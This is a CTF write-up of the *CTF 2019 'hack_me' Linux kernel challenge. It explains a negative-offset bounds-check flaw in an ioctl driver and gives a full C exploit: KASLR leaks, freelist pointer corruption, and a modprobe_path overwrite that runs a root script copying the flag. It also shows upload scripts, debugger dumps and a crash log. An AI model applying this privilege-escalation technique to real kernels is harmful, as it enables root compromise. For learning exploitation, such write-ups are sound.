XCTF - *CTF 2019 - hack_me | kileak

hack_me Can you hack me?

ssh pwn@35.221.78.115 -p 10022 password: pwn

Attachment: dist.zip xpl.py pwn.c

.
        #   #    ####    #####  ######
         # #    #    #     #    #
       ### ###  #          #    #####
         # #    #          #    #
        #   #   #    #     #    #
                 ####      #    #

~ $ 

hack_me was a kernel challenge with a module, that provided a device, accessable via ioctl.

The module allowed to allocate memory in kernel space and write to, read from and free it again.

// Command struct for ioctl requests
struct Command {
    unsigned int index;
    unsigned int unused;
    char *buffer;
    long size;
    long offset;
};

// Entry struct
struct PoolEntry {
    char *buffer;
    long size;
}
...

// Allocate entry
if (request == 0x30000) {
    char *pbuffer;
    
    PoolEntry* entry = &pool[2*source.index];

    if (!entry->Buffer) {    
        if (pbuffer = _kmalloc(source.size)) {        
            entry->Buffer = pbuffer;
            copy_from_user(entry->Buffer, source.buffer, source.size);
            entry->Size = source.size;
            return 0;
        }
    }

    return -1;
}

// Free entry
if (request == 0x30001) {    
    PoolEntry* pool_buffer = pool[2*source.index];
    PoolEntry** pool_buffer_ptr = &pool[2*source.index];

    if (pool_buffer)
    {
        kfree(pool_buffer->Buffer);
        *pool_buffer_ptr = 0;
        return 0;
    }
    return -1;
}

// Write to pool entry
if (pParam == 0x30002) {
    pool_index2 = ;
    PoolEntry* pool_buffer = pool[2*source.index];
    
    if (pool_buffer && (unsigned long)(source.Offset + source.Size) <= p_pool_buffer->Size)
    {
        copy_from_user(pool_buffer->Buffer[source.Offset], source.Buffer, source.Size);
        return 0;
    }
}

// Read from pool entry
if (pParam == 0x30003) {
    PoolEntry* pool_buffer = pool[2*source.index];

    if (pool_buffer)
    {
        if ((unsigned long)(source.Offset + source.Size) <= pool_buffer->Size)
        {
            copy_to_user(source.Buffer, pool_buffer->Buffer[source.Offset], source.Size);
            return 0;
        }
    }
}

So far, no obvious uaf or something similar, buffer pointers will be cleared on freeing them. Also, offset and size is checked, if it’s inside the boundary of the allocated chunk.

But there’s a missed border case:

if ((unsigned long)(source.Offset + source.Size) <= pool_buffer->Size)
    copy_to_user(source.Buffer, pool_buffer->Buffer[source.Offset], source.Size);

If the offset is negative, but greater or equal than -source.Size, the check condition will be passed and kernel memory before the chunk can be read and written to.

Chunk size : 0x100
Offset     : -0x100
Read size  : 0x100

-0x100 + 0x100 == 0 <= 0x100

Thus the following copy_to_user will copy 0x100 bytes from before the chunk to our user buffer.

We can use this to leak and overwrite data before our chunks.

For accessing the device, we need to write our exploit in C and be able to upload it to the remote machine.

Starter script for compiling and uploading the real exploit:

#!/usr/bin/python
from pwn import *

HOST = "35.221.78.115"
PORT =  10022

USER = "pwn"
PW = "pwn"

def compile():
    log.info("Compile")
    os.system("musl-gcc -w -s -static -o3 pwn2.c -o pwn")

def exec_cmd(cmd):
    r.sendline(cmd)
    r.recvuntil("$ ")

def upload():
    p = log.progress("Upload")

    with open("pwn", "rb") as f:
        data = f.read()

    encoded = base64.b64encode(data)
    
    r.recvuntil("$ ")
    
    for i in range(0, len(encoded), 300):
        p.status("%d / %d" % (i, len(encoded)))
        exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))
        
    exec_cmd("cat benc | base64 -d > bout")    
    exec_cmd("chmod +x bout")
    
    p.success()

def exploit(r):
    compile()
    upload()

    r.interactive()

    return

if __name__ == "__main__":
    if len(sys.argv) > 1:
        session = ssh(USER, HOST, PORT, PW)
        r = session.run("/bin/sh")
        exploit(r)
    else:
        r = process("./startvm.sh")
        print util.proc.pidof(r)
        pause()
        exploit(r)

This will compile our exploit with musl-gcc to reduce the upload size and upload it to the vm.

Base exploit, which handles the ioctl calls, preparing the command objects to trigger the different requests:

#include <fcntl.h>

#define REQ_CREATE 0x30000
#define REQ_DELETE 0x30001
#define REQ_READ   0x30003
#define REQ_WRITE  0x30002

struct command {
    unsigned int index;
    unsigned int unused;
    char *buffer;
    long size;
    long offset;
};

int ioctl(int fd, unsigned long request, unsigned long param) {
    return syscall(16, fd, request, param);
}

void create_entry(int fd, int id, int size, char *init_buffer) {
    struct command command;
    
    command.index = id;
    command.buffer = init_buffer;
    command.size = size;

    ioctl(fd, REQ_CREATE, &command);
}

void delete_entry(int fd, long id) {
    struct command command;

    command.index = id;

    ioctl(fd, REQ_DELETE, &command);
}

void read_entry(int fd, int id, char *dest, int offset, int size) {
    struct command command;

    command.index = id;
    command.size = size;
    command.buffer = dest;
    command.offset = offset;

    ioctl(fd, REQ_READ, &command);
}

void write_entry(int fd, int id, char *src, int offset, int size) {
    struct command command;

    command.index = id;
    command.size = size;
    command.buffer = src;
    command.offset = offset;

    ioctl(fd, REQ_WRITE, &command);
}

void log(char *msg) {
    printf("[+] %s\n", msg);
}

void error(char *msg) {
    printf("[-] %s\n", msg);
    exit(-1);
}

int main(int argc, char *argv) {
    int fd;
    char payload[0x1000];
    long* pBuffer = (long*)payload;

    memset(payload, 0x0, 0x100);    
    
    log("Open hackme device...");
    fd = open("/dev/hackme", O_RDONLY);

    if (fd == -1) 
        error("[-] Failed to open hackme device");        
            
    close(fd);

    return 0;
}

Since kaslr is active for this challenge, we need to leak some pointers first, in order to do anything useful. Since the kernel will allocate the poolentry chunks nicely aligned to each other, we can start with some heap leaks by creating entries, freeing some and then use our negative read, to leak the FD pointer of a freed chunk.

Deleting entry 1 and 3 will fill the FD pointer of index 3, which we can then read via chunk 4.

Exploring memory before the first chunk shows, that there’s also another leak there

pwndbg> x/30gx 0xffff88800017b400-0x100
0xffff88800017b300:	0xffff88800017b378	0x0000000100000000
0xffff88800017b310:	0x0000000000000001	0x0000000000000000
0xffff88800017b320:	0xffff88800017b378	0xffffffff81849ae0
0xffff88800017b330:	0xffffffff81849ae0	0xffff888000015100 <== kernel address
0xffff88800017b340:	0xffff88800017b358	0x0000000000000000
0xffff88800017b350:	0xffff888000222a50	0xffff888000021330
0xffff88800017b360:	0x0000000000000000	0x0000000000000000
0xffff88800017b370:	0xffff88800017b300	0xffff88800017b3f8
0xffff88800017b380:	0x0000000000000000	0x0000416d00000000
0xffff88800017b390:	0x0000000000000000	0x0000000000000000
0xffff88800017b3a0:	0x0000000000000000	0x0000000000000000
0xffff88800017b3b0:	0x0000000000000000	0x0000000000000000
0xffff88800017b3c0:	0x0000000000000000	0x0000000000000000
0xffff88800017b3d0:	0x0000000000000000	0x0000000000000000
0xffff88800017b3e0:	0x0000000000000000	0x0000000000000000
long read_neg_address(int fd, int idx, int offset) {
    char payload[1000];

    read_entry(fd, idx, &payload, offset, -offset);

    long *result = (long*)payload;

    return *result;
}
create_entry(fd, 0, 0x100, payload);
create_entry(fd, 1, 0x100, payload);
create_entry(fd, 2, 0x100, payload);
create_entry(fd, 3, 0x100, payload);
create_entry(fd, 4, 0x100, payload);

log("Delete some channels for leaking...");
delete_entry(fd, 1);
delete_entry(fd, 3);

long heap_leak = read_neg_address(fd, 4, -0x100);
long kernel_leak = read_neg_address(fd, 0, -0xd0);

printf("Heap leak         : %p\n", heap_leak);
printf("Kernel leak       : %p\n", kernel_leak);
$ python xpl.py 
[+] Starting local process './startvm.sh': pid 17783
[17783]
[*] Paused (press any to continue)
[*] Compile
[+] Upload: Done
[*] Switching to interactive mode
$ ./bout
./bout
[+] Open hackme device...
[+] Delete some channels for leaking...
Heap leak         : 0xffff88800017b500
Kernel leak       : 0xffffffff81849ae0

To make exploit development easier, we’ll disable kaslr (change kaslr to nokaslr in startvm.sh) and login as root to be able to read kallsyms (extract initramfs.cpio and change the uid accordingly in the init script).

By doing this, we can also find a pointer, that’s near to our pool list object.

/home/pwn # $ cat /proc/kallsyms | grep hackme

cat /proc/kallsyms | grep hackme
ffffffffc0000000 t hackme_ioctl    [hackme]
ffffffffc0002000 d misc    [hackme]
ffffffffc0002060 d fops    [hack
ffffffffc0001068 r _note_6    [hackme]
ffffffffc0002400 b pool    [hackme]
ffffffffc0002180 d __this_module    [hackme]
ffffffffc0000190 t cleanup_module    [hackme]
ffffffffc0000170 t init_module    [hackme]
ffffffffc0000190 t hackme_exit    [hackme]
ffffffffc0000170 t hackme_init    [hackme]

pwndbg> xinfo 0xffffffff81849ae0

  Containing mapping:
0xffffffff81459000 0xffffffff81c00000 rwxp   7a7000 0      <explored>

pwndbg> find 0xffffffff81459000, 0xffffffff81c00000, 0xffffffffc000
0xffffffff81811012
0xffffffff81811022
0xffffffff818403ea
0xffffffff8184713a

pwndbg> x/10gx 0xffffffff81811010
0xffffffff81811010:	0xffffffffc0002338	0xffffffffc0000000  <== near pool
0xffffffff81811020:	0xffffffffc0006000	0x0000000000000000
0xffffffff81811030:	0x0000000000000000	0x0000000000000000
0xffffffff81811040:	0xffffffff81811040	0xffffffff81811040
0xffffffff81811050:	0xffffffff81811050	0xffffffff81811050

Overwriting the pool table itself would give us an arbitrary read/write, so we should leak this address also.

We cannot access it via the oob read, though, but we can use the same technique to do an oob write and overwrite the FD pointer of a freed chunk with an address near this one to allocate a chunk there.

void write_neg_address(int fd, int idx, int offset, long value) {
    char payload[1000];

    long* pPayload =(long*)payload;

    *pPayload = value;

    write_entry(fd, idx, payload, offset, -offset);
}

...

long table_ptr = kernel_leak - 0x38ad0;

printf("Table ptr         : %p\n", table_ptr);

log("Overwrite FD pointer to allocate chunk near pool address...");
write_neg_address(fd, 4, -0x100, table_ptr+0x30);

The FD pointer of the freed pool entry 3 now points to 0xffffffff81811040. Allocating two new chunks, will then serve us with a chunk at 0xffffffff81811040.

log("Allocate 2 chunks to get a chunk in kernel...");
create_entry(fd, 5, 0x100, payload);
create_entry(fd, 6, 0x100, payload);
[+] Open hackme device...
[+] Delete some channels for leaking...
Heap leak         : 0xffff88800017b500
Kernel leak       : 0xffffffff81849ae0
Table ptr         : 0xffffffff81811010
[+] Overwrite FD pointer to allocate chunk near pool address...
[+] Allocate 2 chunks to get a chunk in kernel...
pwndbg> x/30gx $pool
0xffffffffc0002400:	0xffff88800017b400	0x0000000000000100  <= 0
0xffffffffc0002410:	0x0000000000000000	0x0000000000000100  <= 1
0xffffffffc0002420:	0xffff88800017b600	0x0000000000000100  <= 2
0xffffffffc0002430:	0x0000000000000000	0x0000000000000100  <= 3
0xffffffffc0002440:	0xffff88800017b800	0x0000000000000100  <= 4
0xffffffffc0002450:	0xffff88800017b700	0x0000000000000100  <= 5
0xffffffffc0002460:	0xffffffff81811040	0x0000000000000100  <= 6

So, now that we have a chunk there, we can use another negative read to leak the address of the region containing pool.

log("Read pool address from new chunk...");
long table_addr = read_neg_address(fd, 6, -0x30);

printf("Table address     : %p\n", table_addr);
[+] Read pool address from new chunk...
Table address     : 0xffffffffc0002338

With this, I just repeated the initial bin corruption to allocate another chunk over pool itself.

log("Prepare next chunk corruption...");
delete_entry(fd, 2);
delete_entry(fd, 4);
delete_entry(fd, 5);

memset(payload, 0x0, 0x1000);

create_entry(fd, 1, 0x100, payload);
create_entry(fd, 2, 0x100, payload);
create_entry(fd, 3, 0x100, payload);

log("Free chunks...");
delete_entry(fd, 3);
delete_entry(fd, 2);
    
log("Overwrite freed FD with pool pointer");
write_neg_address(fd, 1, -0x100, table_addr+0xc8);

create_entry(fd, 2, 0x100, payload);
create_entry(fd, 3, 0x100, payload);

The next chunk we’ll allocate now, will overwrite pool. We could use this to write the address of pool into the first chunk, which would enable us to repeatedly overwrite the pool list for multiple arbitrary read/writes (which wasn’t needed in hindsight, but…)

With this we could now try to find task creds and overwrite them, but I saw another neat trick recently in a writeup for hfsipc from VoidMercy (perfect blue):

The modprobe string points to a binary that the kernel runs whenever an unknown file type is run. 
This, we can point that string to our binary that copies the flag over from /root/flag to us and allow us to read it.

And modprobe_path was available in this kernel, so let’s try this

log("Create initial files for modprobe_path exploit");

# https://github.com/perfectblue/ctf-writeups/tree/master/midnightsun-ctf-2019-quals/HFSIPC
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");

... 

long modprobe_path = table_ptr + 0x2e950; 

log("Overwrite pool with payload...");
long** pPayload = (long**)payload;
    
pPayload[0] = table_addr+0xc8;              
pPayload[1] = 0x200;
pPayload[2] = modprobe_path;
pPayload[3] = 0x100;

create_entry(fd, 4, 0x100, payload);

pool was now overwritten and the second chunk will point to modprobe_path

log("Overwrite modprobe string...");
write_entry(fd, 1, "/home/pwn/copy.sh\x00", 0, 18);
    
printf("[+] Trigger modprobe string to copy flag...\n");
system("/home/pwn/dummy");
system("cat /home/pwn/flag");
[+] Open hackme device...
[+] Delete some channels for leaking...
Heap leak         : 0xffff88800017b500
Kernel leak       : 0xffffffff81849ae0
Table ptr         : 0xffffffff81811010
Modprobe path     : 0xffffffff8183f960
[+] Overwrite FD pointer to allocate chunk near pool address...
[+] Allocate 2 chunks to get a chunk in kernel...
[+] Read pool address from new chunk...
Table address     : 0xffffffffc0002338
[+] Prepare next chunk corruption...
[+] Free chunks...
[+] Overwrite freed FD with pool pointer
[+] Create initial files for modprobe_path exploit

[    6.132871] BUG: unable to handle kernel paging request at ffffea0001000088
[    6.133784] PGD f8ee067 P4D f8ee067 PUD f8ed067 PMD 0 
[    6.134328] Oops: 0000 [#1] NOPTI
[    6.134587] CPU: 0 PID: 33 Comm: sh Tainted: G           O      4.20.13 #10
[    6.134888] RIP: 0010:kfree+0x41/0x100
[    6.135142] Code: 53 0f 82 c7 00 00 00 48 c7 c0 00 00 00 80 48 2b 05 1c 05 61 00 49 01 c2 48 89 fb 49 c1 ea 0c 49 c1 e2 f
[    6.135640] RSP: 0018:ffffc900000a7e18 EFLAGS: 00000282
[    6.135809] RAX: 0000000000000000 RBX: ffffffffc0002400 RCX: 0000000000000128
[    6.136001] RDX: ffff88800ef42e00 RSI: ffff88800017ae00 RDI: ffffffffc0002400
[    6.136182] RBP: ffffc900000a7e20 R08: ffffffffc0002400 R09: ffffffff810e109b
[    6.136367] R10: ffffea0001000080 R11: 0000000000000000 R12: ffff888000068000
[    6.136578] R13: 0000000000000000 R14: ffff88800ef4a200 R15: 0000000000000000
[    6.136805] FS:  0000000000000000(0000) GS:ffffffff81836000(0000) knlGS:0000000000000000
[    6.137038] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    6.137202] CR2: ffffea0001000088 CR3: 000000000efae000 CR4: 00000000003006b0
[    6.137462] Call Trace:
[    6.138015]  free_bprm+0x78/0x80
[    6.138225]  __do_execve_file+0x693/0x730
[    6.138411]  do_execve+0x1d/0x20
[    6.138554]  __x64_sys_execve+0x26/0x30
[    6.138730]  do_syscall_64+0x4a/0x240
[    6.138881]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[    6.139292] RIP: 0033:0x400f10
[    6.139565] Code: Bad RIP value.
[    6.139709] RSP: 002b:00007fff194fb580 EFLAGS: 00000200 ORIG_RAX: 000000000000003b
[    6.139998] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000000000
[    6.140259] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000
[    6.140502] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[    6.140753] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
[    6.140929] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[    6.141228] Modules linked in: hackme(O)
[    6.141598] CR2: ffffea0001000088
[    6.141873] ---[ end trace f74e6b080e587dd5 ]---
[    6.142162] Code: 53 0f 82 c7 00  48 8d 50 ff a8 01 4c 0f 45 d2 49 8b 52 08 48 8d 42 ff
[    6.142671] RSP: 0018:ffffc900000a7e18 EFLAGS: 00000282
[    6.142796] RAX: 0000000000000000 RBX: ffffffffc0002400 RCX: 0000000000000128
[    6.142989] RDX: ffff88800ef42e00 RSI: ffff88800017ae00 RDI: ffffffffc0002400
[    6.143234] RBP: ffffc900000a7e20 R08: ffffffffc0002400 R09: ffffffff810e109b
[    6.143455] R10: ffffea0001000080 R11: 0000000000000000 R12: ffff888000068000
[    6.143653] R13: 0000000000000000 R14: ffff88800ef4a200 R15: 0000000000000000
[    6.143843] FS:  0000000000000000(0000) GS:ffffffff81836000(0000) knlGS:0000000000000000
[    6.144056] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    6.144215] CR2: 0000000000400ee6 CR3: 000000000efae000 CR4: 00000000003006b0
[    6.144532] Kernel panic - not syncing: Fatal exception
[    6.144799] Kernel Offset: disabled
[    6.145007] Rebooting in 1 seconds..

Oh :(

Seems I messed up the heap at that point, so it’s not able to execve anymore (at least not without crashing the kernel)

Fixed this by writing a valid heap address to the chunks, while the heap was still intact.

log("Fix heap bins (in order for execve to succeed)...");
*pBuffer = heap_leak;

write_entry(fd, 0, payload, 0, 8);
write_entry(fd, 2, payload, 0, 8);
write_entry(fd, 4, payload, 0, 8);

log("Overwrite FD pointer to allocate chunk near pool address...");
write_neg_address(fd, 4, -0x100, table_ptr+0x30);
[+] Open hackme device...
[+] Create initial files for modprobe_path exploit

[+] Delete some channels for leaking...
Heap leak         : 0xffff88800017b500
Kernel leak       : 0xffffffff81849ae0
Table ptr         : 0xffffffff81811010
Modprobe path     : 0xffffffff8183f960
[+] Fix heap bins (in order for execve to succeed)...
[+] Overwrite FD pointer to allocate chunk near pool address...
[+] Allocate 2 chunks to get a chunk in kernel...
[+] Read pool address from new chunk...
Table address     : 0xffffffffc0002338
[+] Prepare next chunk corruption...
[+] Free chunks...
[+] Overwrite freed FD with pool pointer
[+] Overwrite pool with payload...
[+] Overwrite modprobe string...
[+] Trigger modprobe string to copy flag...
/home/pwn/dummy: line 1: \xff\xff\xff\xff: not found
*CTF{test}

Well, that looks way better, and after executing it remote, it’ll also rewards us with the correct flag :)

$ python xpl.py 1
[+] Connecting to 35.221.78.115 on port 10022: Done
[*] pwn@35.221.78.115:
    Distro    Unknown Unknown
    OS:       Unknown
    Arch:     Unknown
    Version:  0.0.0
    ASLR:     Disabled
    Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: '/bin/sh': Done
[*] Compile
[+] Upload: Done
[*] Switching to interactive mode
$ ./bout
./bout
[+] Open hackme device...
[+] Create initial files for modprobe_path exploit
Heap leak         : 0xffff91718017b500
Kernel leak       : 0xffffffff9f649ae0
Table ptr         : 0xffffffff9f611010
[+] Fix heap bins (in order for execve to succeed)...
[+] Overwrite FD pointer to allocate chunk near pool address...
[+] Allocate 2 chunks to get a chunk in kernel...
[+] Read pool address from new chunk...
Table address     : 0xffffffffc0289338
[+] Prepare next chunk corruption...
[+] Free chunks...
[+] Overwrite freed FD with pool pointer
[+] Overwrite pool with payload...
[+] Overwrite modprobe string...
[+] Trigger modprobe string to copy flag...
/home/pwn/dummy: line 1: \xff\xff\xff\xff: not found
*CTF{userf4ult_fd_m4kes_d0uble_f3tch_perfect}

Hmm, userfaultfd? Maybe some other solution was intended, but a flag is a flag ¯\(ツ)